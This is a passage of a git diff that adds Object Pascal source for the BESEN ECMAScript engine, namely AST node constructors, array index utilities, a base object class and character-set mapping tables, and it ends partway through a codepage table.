Create(AInstance); + NodeType:=bntREGEXPLITERAL; + Source:=''; + Flags:=''; +end; + +destructor TBESENASTNodeRegExpLiteral.Destroy; +begin + Source:=''; + Flags:=''; + inherited Destroy; +end; + +constructor TBESENASTNodeStringLiteral.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntSTRINGLITERAL; + Value:=''; +end; + +destructor TBESENASTNodeStringLiteral.Destroy; +begin + Value:=''; + inherited Destroy; +end; + +constructor TBESENASTNodeThisLiteral.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntTHISLITERAL; +end; + +destructor TBESENASTNodeThisLiteral.Destroy; +begin + inherited Destroy; +end; + +constructor TBESENASTNodeObjectLiteralProperty.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntOBJECTLITERALPROPERTY; + PropertyType:=banolptNONE; + PropertyAccessorType:=banolpatNONE; + Name:=''; + Value:=nil; + Container:=nil; +end; + +destructor TBESENASTNodeObjectLiteralProperty.Destroy; +begin + BESENFreeAndNil(Value); + Name:=''; + inherited Destroy; +end; + +constructor TBESENASTNodeObjectLiteral.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntOBJECTLITERAL; + Properties:=nil; +end; + +destructor TBESENASTNodeObjectLiteral.Destroy; +var i:integer; +begin + for i:=0 to length(Properties)-1 do begin + BESENFreeAndNil(Properties[i]); + end; + SetLength(Properties,0); + inherited Destroy; +end; + +constructor TBESENASTNodeReturnStatement.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntRETURNSTATEMENT; + Expression:=nil; +end; + +destructor TBESENASTNodeReturnStatement.Destroy; +begin + Expression.Free; + inherited Destroy; +end; + +constructor TBESENASTNodeProgram.Create(AInstance:TObject); +begin + inherited Create(AInstance); + NodeType:=bntPROGRAM; + Body:=TBESENASTNodeFunctionBody.Create(Instance); + Body.IsFunction:=false; +end; + +destructor TBESENASTNodeProgram.Destroy; +begin + if assigned(Instance) then begin + TBESEN(Instance).RemoveProgramNode(self); + end; + BESENFreeAndNil(Body); + inherited Destroy; +end; + +procedure TBESENASTNodeProgram.ExecuteCode(const Context:TObject;var AResult:TBESENValue); +begin + Body.ExecuteCode(Context,AResult); +end; + +end. diff --git a/Core/JS/BESENArrayUtils.pas b/Core/JS/BESENArrayUtils.pas new file mode 100644 index 0000000..f5a222b --- /dev/null +++ b/Core/JS/BESENArrayUtils.pas @@ -0,0 +1,123 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENArrayUtils; +{$i BESEN.inc} + +interface + +uses SysUtils,BESENConstants,BESENTypes,BESENValue; + +function BESENArrayToIndex(AProp:TBESENString;var v:int64):TBESENBoolean; +function BESENArrayToIndexEx(AProp:TBESENString):int64; +function BESENArrayIndexToStr(v:TBESENUINT32):TBESENString; +procedure BESENArrayCheckTooLong(const a,b:TBESENUINT32); + +implementation + +uses BESEN,BESENUtils,BESENErrors; + +function BESENArrayToIndex(AProp:TBESENString;var v:int64):TBESENBoolean; +var i:integer; +begin + if length(AProp)=0 then begin + result:=false; + end else if (length(AProp)>1) and (AProp[1]='0') then begin + result:=false; + end else begin + result:=true; + v:=0; + for i:=1 to length(AProp) do begin + if (word(widechar(AProp[i]))>=ord('0')) and (word(widechar(AProp[i]))<=ord('9')) then begin + v:=(v*10)+(word(widechar(AProp[i]))-ord('0')); + end else begin + result:=false; + break; + end; + end; + if result and ((IntToStr(v and $ffffffff)<>AProp) or (v>=$ffffffff)) then begin + result:=false; + end; + end; +end; + +function BESENArrayToIndexEx(AProp:TBESENString):int64; +var i:integer; +begin + if length(AProp)=0 then begin + result:=0; + end else if (length(AProp)>1) and (AProp[1]='0') then begin + result:=0; + end else begin + result:=0; + for i:=1 to length(AProp) do begin + if (word(widechar(AProp[i]))>=ord('0')) and (word(widechar(AProp[i]))<=ord('9')) then begin + result:=(result*10)+(word(widechar(AProp[i]))-ord('0')); + end else begin + result:=0; + break; + end; + end; + end; +end; + +function BESENArrayIndexToStr(v:TBESENUINT32):TBESENString; +var i:integer; + o:TBESENUINT32; +begin + if v=0 then begin + result:='0'; + end else begin + result:=''; + i:=0; + o:=v; + while o<>0 do begin + inc(i); + o:=o div 10; + end; + SetLength(result,i); + while (v<>0) and (i>0) do begin + result[i]:=widechar(word(v mod 10)+ord('0')); + dec(i); + v:=v div 10; + end; + end; +end; + +procedure BESENArrayCheckTooLong(const a,b:TBESENUINT32); +var c:TBESENUINT32; +begin + c:=TBESENUINT32(a+b) and $ffffffff; + if (c<a) or (c<b) then begin + BESENThrowRangeError('Array too long'); + end; +end; + +end. diff --git a/Core/JS/BESENBaseObject.pas b/Core/JS/BESENBaseObject.pas new file mode 100644 index 0000000..1f72cb9 --- /dev/null +++ b/Core/JS/BESENBaseObject.pas @@ -0,0 +1,59 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENBaseObject; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes; + +type TBESENBaseObject=class(TObject) + public + Instance:TObject; + constructor Create(AInstance:TObject); overload; virtual; + destructor Destroy; override; + end; + +implementation + +constructor TBESENBaseObject.Create(AInstance:TObject); +begin + inherited Create; + Instance:=AInstance; +end; + +destructor TBESENBaseObject.Destroy; +begin + inherited Destroy; +end; + +end. + \ No newline at end of file diff --git a/Core/JS/BESENCharset.pas b/Core/JS/BESENCharset.pas new file mode 100644 index 0000000..aaa8dae --- /dev/null +++ b/Core/JS/BESENCharset.pas @@ -0,0 +1,421 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENCharset; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes; + +type TBESENCharBitmap=array[0..$f] of byte; + + TBESENCharset=(ISO_8859_1,ISO_8859_2,ISO_8859_3,ISO_8859_4,ISO_8859_5, + ISO_8859_6,ISO_8859_7,ISO_8859_8,ISO_8859_9,ISO_8859_10, + CP1250,CP1251,CP1252,CP1253,CP1254,CP1255,CP1256,CP1257,CP1258, + KOI8_R,UCS_2,UCS_4,UTF_32,UTF_16,UTF_8,UTF_7); + + TBESENCharsetSet=set of TBESENCharset; + + TBESENCharsetTable=array[128..255] of word; + + TBESENCharsetTableCasted=array[128..255] of widechar; + +const BESENAllCharsets:TBESENCharsetSet=[ISO_8859_1,ISO_8859_2,ISO_8859_3,ISO_8859_4, + ISO_8859_5,ISO_8859_6,ISO_8859_7,ISO_8859_8, + ISO_8859_9,ISO_8859_10,CP1250,CP1251,CP1252, + CP1253,CP1254,CP1255,CP1256,CP1257,CP1258, + KOI8_R,UCS_2,UCS_4,UTF_32,UTF_16,UTF_8,UTF_7]; + + BESENCharISO_8859_1:TBESENCharsetTable= + ($0080,$0081,$0082,$0083,$0084,$0085,$0086,$0087, + $0088,$0089,$008A,$008B,$008C,$008D,$008E,$008F, + $0090,$0091,$0092,$0093,$0094,$0095,$0096,$0097, + $0098,$0099,$009A,$009B,$009C,$009D,$009E,$009F, + $00A0,$00A1,$00A2,$00A3,$00A4,$00A5,$00A6,$00A7, + $00A8,$00A9,$00AA,$00AB,$00AC,$00AD,$00AE,$00AF, + $00B0,$00B1,$00B2,$00B3,$00B4,$00B5,$00B6,$00B7, + $00B8,$00B9,$00BA,$00BB,$00BC,$00BD,$00BE,$00BF, + $00C0,$00C1,$00C2,$00C3,$00C4,$00C5,$00C6,$00C7, + $00C8,$00C9,$00CA,$00CB,$00CC,$00CD,$00CE,$00CF, + $00D0,$00D1,$00D2,$00D3,$00D4,$00D5,$00D6,$00D7, + $00D8,$00D9,$00DA,$00DB,$00DC,$00DD,$00DE,$00DF, + $00E0,$00E1,$00E2,$00E3,$00E4,$00E5,$00E6,$00E7, + $00E8,$00E9,$00EA,$00EB,$00EC,$00ED,$00EE,$00EF, + $00F0,$00F1,$00F2,$00F3,$00F4,$00F5,$00F6,$00F7, + $00F8,$00F9,$00FA,$00FB,$00FC,$00FD,$00FE,$00FF); + + BESENCharISO_8859_2:TBESENCharsetTable= + ($0080,$0081,$0082,$0083,$0084,$0085,$0086,$0087, + $0088,$0089,$008A,$008B,$008C,$008D,$008E,$008F, + $0090,$0091,$0092,$0093,$0094,$0095,$0096,$0097, + $0098,$0099,$009A,$009B,$009C,$009D,$009E,$009F, + $00a0,$0104,$02d8,$0141,$00a4,$013d,$015a,$00a7, + $00a8,$0160,$015e,$0164,$0179,$00ad,$017d,$017b, + $00b0,$0105,$02db,$0142,$00b4,$013e,$015b,$02c7, + $00b8,$0161,$015f,$0165,$017a,$02dd,$017e,$017c, + $0154,$00c1,$00c2,$0102,$00c4,$0139,$0106,$00c7, + $010c,$00c9,$0118,$00cb,$011a,$00cd,$00ce,$010e, + $0110,$0143,$0147,$00d3,$00d4,$0150,$00d6,$00d7, + $0158,$016e,$00da,$0170,$00dc,$00dd,$0162,$00df, + $0155,$00e1,$00e2,$0103,$00e4,$013a,$0107,$00e7, + $010d,$00e9,$0119,$00eb,$011b,$00ed,$00ee,$010f, + $0111,$0144,$0148,$00f3,$00f4,$0151,$00f6,$00f7, + $0159,$016f,$00fa,$0171,$00fc,$00fd,$0163,$02d9); + + BESENCharISO_8859_3:TBESENCharsetTable= + ($0080,$0081,$0082,$0083,$0084,$0085,$0086,$0087, + $0088,$0089,$008A,$008B,$008C,$008D,$008E,$008F, + $0090,$0091,$0092,$0093,$0094,$0095,$0096,$0097, + $0098,$0099,$009A,$009B,$009C,$009D,$009E,$009F, + $00a0,$0126,$02d8,$00a3,$00a4,$fffd,$0124,$00a7, + $00a8,$0130,$015e,$011e,$0134,$00ad,$fffd,$017b, + $00b0,$0127,$00b2,$00b3,$00b4,$00b5,$0125,$00b7, + $00b8,$0131,$015f,$011f,$0135,$00bd,$fffd,$017c, + $00c0,$00c1,$00c2,$fffd,$00c4,$010a,$0108,$00c7, + $00c8,$00c9,$00ca,$00cb,$00cc,$00cd,$00ce,$00cf, + $fffd,$00d1,$00d2,$00d3,$00d4,$0120,$00d6,$00d7, + $011c,$00d9,$00da,$00db,$00dc,$016c,$015c,$00df, + $00e0,$00e1,$00e2,$fffd,$00e4,$010b,$0109,$00e7, + $00e8,$00e9,$00ea,$00eb,$00ec,$00ed,$00ee,$00ef, + $fffd,$00f1,$00f2,$00f3,$00f4,$0121,$00f6,$00f7, + $011d,$00f9,$00fa,$00fb,$00fc,$016d,$015d,$02d9); + + BESENCharISO_8859_4:TBESENCharsetTable= + ($0080,$0081,$0082,$0083,$0084,$0085,$0086,$0087, + $0088,$0089,$008A,$008B,$008C,$008D,$008E,$008F, + $0090,$0091,$0092,$0093,$0094,$0095,$0096,$0097, + $0098,$0099,$009A,$009B,$009C,$009D,$009E,$009F, + $00a0,$0104,$0138,$0156,$00a4,$0128,$013b,$00a7, + $00a8,$0160,$0112,$0122,$0166,$00ad,$017d,$00af, + $00b0,$0105,$02db,$0157,$00b4,$0129,$013c,$02c7, + $00b8,$0161,$0113,$0123,$0167,$014a,$017e,$014b, + $0100,$00c1,$00c2,$00c3,$00c4,$00c5,$00c6,$012e, + $010c,$00c9,$0118,$00cb,$0116,$00cd,$00ce,$012a, + $0110,$0145,$014c,$0136,$00d4,$00d5,$00d6,$00d7, + $00d8,$0172,$00da,$00db,$00dc,$0168,$016a,$00df, + $0101,$00e1,$00e2,$00e3,$00e4,$00e5,$00e6,$012f, + $010d,$00e9,$0119,$00eb,$0117,$00ed,$00ee,$012b, + $0111,$0146,$014d,$0137,$00f4,$00f5,$00f6,$00f7, + $00f8,$0173,$00fa,$00fb,$00fc,$0169,$016b,$02d9); + + BESENCharISO_8859_5:TBESENCharsetTable= + ($0080,$0081,$0082,$0083,$0084,$0085,$0086,$0087, + $0088,$0089,$008A,$008B,$008C,$008D,$008E,$008F, + $0090,$0091,$0092,$0093,$0094,$0095,$0096,$0097, + $0098,$0099,$009A,$009B,$009C,$009D,$009E,$009F, + $00a0,$0401,$0402,$0403,$0404,$0405,$0406,$0407, + $0408,$0409,$040a,$040b,$040c,$00ad,$040e,$040f, + $0410,$0411,$0412,$0413,$0414,$0415,$0416,$0417, + $0418,$0419,$041a,$041b,$041c,$041d,$041e,$041f, + $0420,$0421,$0422,$0423,$0424,$0425,$0426,$0427, + $0428,$0429,$042a,$042b,$042c,$042d,$042e,$042f, + $0430,$0431,$0432,$0433,$0434,$0435,$0436,$0437, + $0438,$0439,$043a,$043b,$043c,$043d,$043e,$043f, + $0440,$0441,$0442,$0443,$0444,$0445,$0446,$0447, + $0448,$0449,$044a,$044b,$044c,$044d,$044e,$044f, + $2116,$0451,$0452,$0453,$0454,$0455,$0456,$0457, + $0458,$0459,$045a,$045b,$045c,$00a7,$045e,$045f); + + BESENCharISO_8859_6:TBESENCharsetTable= + ($0080,$0081,$0082,$0083,$0084,$0085,$0086,$0087, + $0088,$0089,$008A,$008B,$008C,$008D,$008E,$008F, + $0090,$0091,$0092,$0093,$0094,$0095,$0096,$0097, + $0098,$0099,$009A,$009B,$009C,$009D,$009E,$009F, + $00a0,$fffd,$fffd,$fffd,$00a4,$fffd,$fffd,$fffd, + $fffd,$fffd,$fffd,$fffd,$060c,$00ad,$fffd,$fffd, + $fffd,$fffd,$fffd,$fffd,$fffd,$fffd,$fffd,$fffd, + $fffd,$fffd,$fffd,$061b,$fffd,$fffd,$fffd,$061f, + $fffd,$0621,$0622,$0623,$0624,$0625,$0626,$0627, + $0628,$0629,$062a,$062b,$062c,$062d,$062e,$062f, + $0630,$0631,$0632,$0633,$0634,$0635,$0636,$0637, + $0638,$0639,$063a,$fffd,$fffd,$fffd,$fffd,$fffd, + $0640,$0641,$0642,$0643,$0644,$0645,$0646,$0647, + $0648,$0649,$064a,$064b,$064c,$064d,$064e,$064f, + $0650,$0651,$0652,$fffd,$fffd,$fffd,$fffd,$fffd, + $fffd,$fffd,$fffd,$fffd,$fffd,$fffd,$fffd,$fffd); + + BESENCharISO_8859_7:TBESENCharsetTable= + ($0080,$0081,$0082,$0083,$0084,$0085,$0086,$0087, + $0088,$0089,$008A,$008B,$008C,$008D,$008E,$008F, + $0090,$0091,$0092,$0093,$0094,$0095,$0096,$0097, + $0098,$0099,$009A,$009B,$009C,$009D,$009E,$009F, + $00a0,$2018,$2019,$00a3,$fffd,$fffd,$00a6,$00a7, + $00a8,$00a9,$fffd,$00ab,$00ac,$00ad,$fffd,$2015, + $00b0,$00b1,$00b2,$00b3,$0384,$0385,$0386,$00b7, + $0388,$0389,$038a,$00bb,$038c,$00bd,$038e,$038f, + $0390,$0391,$0392,$0393,$0394,$0395,$0396,$0397, + $0398,$0399,$039a,$039b,$039c,$039d,$039e,$039f, + $03a0,$03a1,$fffd,$03a3,$03a4,$03a5,$03a6,$03a7, + $03a8,$03a9,$03aa,$03ab,$03ac,$03ad,$03ae,$03af, + $03b0,$03b1,$03b2,$03b3,$03b4,$03b5,$03b6,$03b7, + $03b8,$03b9,$03ba,$03bb,$03bc,$03bd,$03be,$03bf, + $03c0,$03c1,$03c2,$03c3,$03c4,$03c5,$03c6,$03c7, + $03c8,$03c9,$03ca,$03cb,$03cc,$03cd,$03ce,$fffd); + + BESENCharISO_8859_8:TBESENCharsetTable= + ($0080,$0081,$0082,$0083,$0084,$0085,$0086,$0087, + $0088,$0089,$008A,$008B,$008C,$008D,$008E,$008F, + $0090,$0091,$0092,$0093,$0094,$0095,$0096,$0097, + $0098,$0099,$009A,$009B,$009C,$009D,$009E,$009F, + $00a0,$fffd,$00a2,$00a3,$00a4,$00a5,$00a6,$00a7, + $00a8,$00a9,$00d7,$00ab,$00ac,$00ad,$00ae,$00af, + $00b0,$00b1,$00b2,$00b3,$00b4,$00b5,$00b6,$00b7, + $00b8,$00b9,$00f7,$00bb,$00bc,$00bd,$00be,$fffd, + $fffd,$fffd,$fffd,$fffd,$fffd,$fffd,$fffd,$fffd, + $fffd,$fffd,$fffd,$fffd,$fffd,$fffd,$fffd,$fffd, + $fffd,$fffd,$fffd,$fffd,$fffd,$fffd,$fffd,$fffd, + $fffd,$fffd,$fffd,$fffd,$fffd,$fffd,$fffd,$2017, + $05d0,$05d1,$05d2,$05d3,$05d4,$05d5,$05d6,$05d7, + $05d8,$05d9,$05da,$05db,$05dc,$05dd,$05de,$05df, + $05e0,$05e1,$05e2,$05e3,$05e4,$05e5,$05e6,$05e7, + $05e8,$05e9,$05ea,$fffd,$fffd,$200e,$200f,$fffd); + + BESENCharISO_8859_9:TBESENCharsetTable= + ($0080,$0081,$0082,$0083,$0084,$0085,$0086,$0087, + $0088,$0089,$008A,$008B,$008C,$008D,$008E,$008F, + $0090,$0091,$0092,$0093,$0094,$0095,$0096,$0097, + $0098,$0099,$009A,$009B,$009C,$009D,$009E,$009F, + $00a0,$0104,$02d8,$0141,$00a4,$013d,$015a,$00a7, + $00a8,$0160,$015e,$0164,$0179,$00ad,$017d,$017b, + $00b0,$0105,$02db,$0142,$00b4,$013e,$015b,$02c7, + $00b8,$0161,$015f,$0165,$017a,$02dd,$017e,$017c, + $0154,$00c1,$00c2,$0102,$00c4,$0139,$0106,$00c7, + $010c,$00c9,$0118,$00cb,$011a,$00cd,$00ce,$010e, + $011e,$00d1,$00d2,$00d3,$00d4,$00d5,$00d6,$00d7, + $00d8,$00d9,$00da,$00db,$00dc,$0130,$015e,$00df, + $00e0,$00e1,$00e2,$00e3,$00e4,$00e5,$00e6,$00e7, + $00e8,$00e9,$00ea,$00eb,$00ec,$00ed,$00ee,$00ef, + $011f,$00f1,$00f2,$00f3,$00f4,$00f5,$00f6,$00f7, + $00f8,$00f9,$00fa,$00fb,$00fc,$0131,$015f,$00ff); + + BESENCharISO_8859_10:TBESENCharsetTable= + ($0080,$0081,$0082,$0083,$0084,$0085,$0086,$0087, + $0088,$0089,$008A,$008B,$008C,$008D,$008E,$008F, + $0090,$0091,$0092,$0093,$0094,$0095,$0096,$0097, + $0098,$0099,$009A,$009B,$009C,$009D,$009E,$009F, + $00a0,$0104,$0112,$0122,$012a,$0128,$0136,$00a7, + $013b,$0110,$0160,$0166,$017d,$00ad,$016a,$014a, + $00b0,$0105,$0113,$0123,$012b,$0129,$0137,$00b7, + $013c,$0111,$0161,$0167,$017e,$2015,$016b,$014b, + $0100,$00c1,$00c2,$00c3,$00c4,$00c5,$00c6,$012e, + $010c,$00c9,$0118,$00cb,$0116,$00cd,$00ce,$00cf, + $00d0,$0145,$014c,$00d3,$00d4,$00d5,$00d6,$0168, + $00d8,$0172,$00da,$00db,$00dc,$00dd,$00de,$00df, + $0101,$00e1,$00e2,$00e3,$00e4,$00e5,$00e6,$012f, + $010d,$00e9,$0119,$00eb,$0117,$00ed,$00ee,$00ef, + $00f0,$0146,$014d,$00f3,$00f4,$00f5,$00f6,$0169, + $00f8,$0173,$00fa,$00fb,$00fc,$00fd,$00fe,$0138); + + BESENCharCP_1250:TBESENCharsetTable= + ($20ac,$fffd,$201a,$fffd,$201e,$2026,$2020,$2021, + $fffd,$2030,$0160,$2039,$015a,$0164,$017d,$0179, + $fffd,$2018,$2019,$201c,$201d,$2022,$2013,$2015, + $fffd,$2122,$0161,$203a,$015b,$0165,$017e,$017a, + $00a0,$02c7,$02d8,$0141,$00a4,$0104,$00a6,$00a7, + $00a8,$00a9,$015e,$00ab,$00ac,$00ad,$00ae,$017b, + $00b0,$00b1,$02db,$0142,$00b4,$00b5,$00b6,$00b7, + $00b8,$0105,$015f,$00bb,$013d,$02dd,$013e,$017c, + $0154,$00c1,$00c2,$0102,$00c4,$0139,$0106,$00c7, + $010c,$00c9,$0118,$00cb,$011a,$00cd,$00ce,$010e, + $0110,$0143,$0147,$00d3,$00d4,$0150,$00d6,$00d7, + $0158,$016e,$00da,$0170,$00dc,$00dd,$0162,$00df, + $0155,$00e1,$00e2,$0103,$00e4,$013a,$0107,$00e7, + $010d,$00e9,$0119,$00eb,$011b,$00ed,$00ee,$010f, + $0111,$0144,$0148,$00f3,$00f4,$0151,$00f6,$00f7, + $0159,$016f,$00fa,$0171,$00fc,$00fd,$0163,$02d9); + + BESENCharCP_1251:TBESENCharsetTable= + ($0402,$0403,$201a,$0453,$201e,$2026,$2020,$2021, + $20ac,$2030,$0409,$2039,$040a,$040c,$040b,$040f, + $0452,$2018,$2019,$201c,$201d,$2022,$2013,$2015, + $fffd,$2122,$0459,$203a,$045a,$045c,$045b,$045f, + $00a0,$040e,$045e,$0408,$00a4,$0490,$00a6,$00a7, + $0401,$00a9,$0404,$00ab,$00ac,$00ad,$00ae,$0407, + $00b0,$00b1,$0406,$0456,$0491,$00b5,$00b6,$00b7, + $0451,$2116,$0454,$00bb,$0458,$0405,$0455,$0457, + $0410,$0411,$0412,$0413,$0414,$0415,$0416,$0417, + $0418,$0419,$041a,$041b,$041c,$041d,$041e,$041f, + $0420,$0421,$0422,$0423,$0424,$0425,$0426,$0427, + $0428,$0429,$042a,$042b,$042c,$042d,$042e,$042f, + $0430,$0431,$0432,$0433,$0434,$0435,$0436,$0437, + $0438,$0439,$043a,$043b,$043c,$043d,$043e,$043f, + $0440,$0441,$0442,$0443,$0444,$0445,$0446,$0447, + $0448,$0449,$044a,$044b,$044c,$044d,$044e,$044f); + + BESENCharCP_1252:TBESENCharsetTable= + ($20ac,$fffd,$201a,$0192,$201e,$2026,$2020,$2021, + $02c6,$2030,$0160,$2039,$0152,$fffd,$017d,$fffd, + $fffd,$2018,$2019,$201c,$201d,$2022,$2013,$2015, + $02dc,$2122,$0161,$203a,$0153,$fffd,$017e,$0178, + $00A0,$00A1,$00A2,$00A3,$00A4,$00A5,$00A6,$00A7, + $00A8,$00A9,$00AA,$00AB,$00AC,$00AD,$00AE,$00AF, + $00B0,$00B1,$00B2,$00B3,$00B4,$00B5,$00B6,$00B7, + $00B8,$00B9,$00BA,$00BB,$00BC,$00BD,$00BE,$00BF, + $00C0,$00C1,$00C2,$00C3,$00C4,$00C5,$00C6,$00C7, + $00C8,$00C9,$00CA,$00CB,$00CC,$00CD,$00CE,$00CF, + $00D0,$00D1,$00D2,$00D3,$00D4,$00D5,$00D6,$00D7, + $00D8,$00D9,$00DA,$00DB,$00DC,$00DD,$00DE,$00DF, + $00E0,$00E1,$00E2,$00E3,$00E4,$00E5,$00E6,$00E7, + $00E8,$00E9,$00EA,$00EB,$00EC,$00ED,$00EE,$00EF, + $00F0,$00F1,$00F2,$00F3,$00F4,$00F5,$00F6,$00F7, + $00F8,$00F9,$00FA,$00FB,$00FC,$00FD,$00FE,$00FF); + + BESENCharCP_1253:TBESENCharsetTable= + ($20ac,$fffd,$201a,$0192,$201e,$2026,$2020,$2021, + $fffd,$2030,$fffd,$2039,$fffd,$fffd,$fffd,$fffd, + $fffd,$2018,$2019,$201c,$201d,$2022,$2013,$2015, + $fffd,$2122,$fffd,$203a,$fffd,$fffd,$fffd,$fffd, + $00a0,$0385,$0386,$00a3,$00a4,$00a5,$00a6,$00a7, + $00a8,$00a9,$fffd,$00ab,$00ac,$00ad,$00ae,$2015, + $00b0,$00b1,$00b2,$00b3,$0384,$00b5,$00b6,$00b7, + $0388,$0389,$038a,$00bb,$038c,$00bd,$038e,$038f, + $0390,$0391,$0392,$0393,$0394,$0395,$0396,$0397, + $0398,$0399,$039a,$039b,$039c,$039d,$039e,$039f, + $03a0,$03a1,$fffd,$03a3,$03a4,$03a5,$03a6,$03a7, + $03a8,$03a9,$03aa,$03ab,$03ac,$03ad,$03ae,$03af, + $03b0,$03b1,$03b2,$03b3,$03b4,$03b5,$03b6,$03b7, + $03b8,$03b9,$03ba,$03bb,$03bc,$03bd,$03be,$03bf, + $03c0,$03c1,$03c2,$03c3,$03c4,$03c5,$03c6,$03c7, + $03c8,$03c9,$03ca,$03cb,$03cc,$03cd,$03ce,$fffd); + + BESENCharCP_1254:TBESENCharsetTable= + ($20ac,$fffd,$201a,$0192,$201e,$2026,$2020,$2021, + $02c6,$2030,$0160,$2039,$0152,$fffd,$fffd,$fffd, + $fffd,$2018,$2019,$201c,$201d,$2022,$2013,$2015, + $02dc,$2122,$0161,$203a,$0153,$fffd,$fffd,$0178, + $00A0,$00A1,$00A2,$00A3,$00A4,$00A5,$00A6,$00A7, + $00A8,$00A9,$00AA,$00AB,$00AC,$00AD,$00AE,$00AF, + $00B0,$00B1,$00B2,$00B3,$00B4,$00B5,$00B6,$00B7, + $00B8,$00B9,$00BA,$00BB,$00BC,$00BD,$00BE,$00BF, + $00C0,$00C1,$00C2,$00C3,$00C4,$00C5,$00C6,$00C7, + $00C8,$00C9,$00CA,$00CB,$00CC,$00CD,$00CE,$00CF, + $011e,$00d1,$00d2,$00d3,$00d4,$00d5,$00d6,$00d7, + $00d8,$00d9,$00da,$00db,$00dc,$0130,$015e,$00df, + $00E0,$00E1,$00E2,$00E3,$00E4,$00E5,$00E6,$00E7, + $00E8,$00E9,$00EA,$00EB,$00EC,$00ED,$00EE,$00EF, + $011f,$00f1,$00f2,$00f3,$00f4,$00f5,$00f6,$00f7, + $00f8,$00f9,$00fa,$00fb,$00fc,$0131,$015f,$00ff); + + BESENCharCP_1255:TBESENCharsetTable= + ($20ac,$fffd,$201a,$0192,$201e,$2026,$2020,$2021, + $02c6,$2030,$fffd,$2039,$fffd,$fffd,$fffd,$fffd, + $fffd,$2018,$2019,$201c,$201d,$2022,$2013,$2015, + $02dc,$2122,$fffd,$203a,$fffd,$fffd,$fffd,$fffd, + $00a0,$00a1,$00a2,$00a3,$20aa,$00a5,$00a6,$00a7, + $00a8,$00a9,$00d7,$00ab,$00ac,$00ad,$00ae,$00af, + $00b0,$00b1,$00b2,$00b3,$00b4,$00b5,$00b6,$00b7, + $00b8,$00b9,$00f7,$00bb,$00bc,$00bd,$00be,$00bf, + $05b0,$05b1,$05b2,$05b3,$05b4,$05b5,$05b6,$05b7, + $05b8,$05b9,$fffd,$05bb,$05bc,$05bd,$05be,$05bf, + $05c0,$05c1,$05c2,$05c3,$05f0,$05f1,$05f2,$05f3, + $05f4,$fffd,$fffd,$fffd,$fffd,$fffd,$fffd,$fffd, + $05d0,$05d1,$05d2,$05d3,$05d4,$05d5,$05d6,$05d7, + $05d8,$05d9,$05da,$05db,$05dc,$05dd,$05de,$05df, + $05e0,$05e1,$05e2,$05e3,$05e4,$05e5,$05e6,$05e7, + $05e8,$05e9,$05ea,$fffd,$fffd,$200e,$200f,$fffd); + + BESENCharCP_1256:TBESENCharsetTable= + ($20ac,$067e,$201a,$0192,$201e,$2026,$2020,$2021, + $02c6,$2030,$0679,$2039,$0152,$0686,$0698,$0688, + $06af,$2018,$2019,$201c,$201d,$2022,$2013,$2015, + $06a9,$2122,$0691,$203a,$0153,$200c,$200d,$06ba, + $00a0,$060c,$00a2,$00a3,$00a4,$00a5,$00a6,$00a7, + $00a8,$00a9,$06be,$00ab,$00ac,$00ad,$00ae,$00af, + $00b0,$00b1,$00b2,$00b3,$00b4,$00b5,$00b6,$00b7, + $00b8,$00b9,$061b,$00bb,$00bc,$00bd,$00be,$061f, + $06c1,$0621,$0622,$0623,$0624,$0625,$0626,$0627, + $0628,$0629,$062a,$062b,$062c,$062d,$062e,$062f, + $0630,$0631,$0632,$0633,$0634,$0635,$0636,$00d7, + $0637,$0638,$0639,$063a,$0640,$0641,$0642,$0643, + $00e0,$0644,$00e2,$0645,$0646,$0647,$0648,$00e7, + $00e8,$00e9,$00ea,$00eb,$0649,$064a,$00ee,$00ef, + $064b,$064c,$064d,$064e,$00f4,$064f,$0650,$00f7, + 